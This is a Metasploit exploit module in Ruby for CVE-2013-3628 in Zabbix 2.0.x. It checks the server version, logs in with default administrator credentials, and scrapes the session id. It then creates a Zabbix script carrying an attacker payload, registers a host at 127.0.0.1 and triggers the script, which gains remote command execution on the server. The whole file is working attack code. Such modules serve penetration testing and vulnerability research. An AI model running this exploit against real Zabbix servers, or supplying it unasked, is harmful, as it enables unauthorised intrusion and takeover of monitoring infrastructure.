##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Zabbix Authenticated Remote Command Execution',
      'Description'    => %q{
      ZABBIX allows an administrator to create scripts that will be run on hosts.
      An authenticated attacker can create a script containing a payload, then a host
      with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.

      This module was tested againt Zabbix v2.0.9.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-3628'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic perl ruby telnet python',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Oct 30 2013',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
      OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
      OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
    ], self.class)
  end

  def check
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/index.php")
    })

    if !init or init.code != 200
      vprint_error("Could not connect to server")
      return Exploit::CheckCode::Unknown
    end

    if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
      if $1 >= "2.0.0" and $1 <= "2.0.8"
      vprint_good("Version #{$1} is vulnerable.")
      return Exploit::CheckCode::Appears
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect

    req = c.request_cgi({
      'method' => 'POST',
      'uri' => '/zabbix/',
      'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in"
    })

    login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))

    if !login or login.code != 302
      fail_with(Failure::NoAccess, "Login failed")
    end

    sess = login.get_cookies

    dash = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
      'cookie' => sess
    })

    if !dash or dash.code != 200
      fail_with(Failure::UnexpectedReply, "Dashboard failed")
    end

    sid = ''
    dash.body.each_line do |line|
      if line =~ /&sid=(.{16})\">/
        sid = $1
        break
      end
    end

    if sid == ''
      fail_with(Failure::UnexpectedReply, "Could not get sid")
    end

    script_title = rand_text_alpha(18)
    post = {
      'sid' => sid,
      'form_refresh' => 3,
      'form' => 'Create+script',
      'name' => script_title,
      'type' => 0,
      'execute_on' => 1,
      'command' => payload.encoded,
      'commandipmi' => '',
      'description' => '',
      'usrgrpid' => 0,
      'groupid' => 0,
      'access' => 2,
      'save' => 'Save'
    }

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/scripts.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with(Failure::UnexpectedReply, "Error creating script")
    end

    script_id = ''
    if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
      script_id = $1
    else
      fail_with(Failure::UnexpectedReply, "Could not get the script id")
    end

    host = rand_text_alpha(18)
    post = {
      'sid' => sid,
      'form_refresh' => 1,
      'form' => 'Create+host',
      'host' => host,
      'visiblename' => host,
      'groups_left' => 4,
      'newgroup' => '',
      'interfaces[1][isNew]' => true,
      'interfaces[1][interfaceid]' => 1,
      'interfaces[1][type]' => 1,
      'interfaces[1][ip]' => '127.0.0.1',
      'interfaces[1][dns]' => '',
      'interfaces[1][useip]' => 1,
      'interfaces[1][port]' => 10050,
      'mainInterfaces[1]' => 1,
      'proxy_hostid' => 0,
      'status' => 0,
      'ipmi_authtype' => -1,
      'ipmi_privilege' => 2,
      'ipmi_username' => '',
      'ipmi_password' => '',
      'macros[0][macro]' => '',
      'macros[0][value]' => '',
      'inventory_mode' => -1,
      'save' => 'Save',
      'groups[4]' => 4
    }

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/hosts.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with(Failure::UnexpectedReply, "Error creating new host")
    end

    hostid = ''
    if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
      hostid = $1
    else
      fail_with(Failure::UnexpectedReply, "Could not get the host id")
    end

    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
      'cookie' => sess
    })
  end
end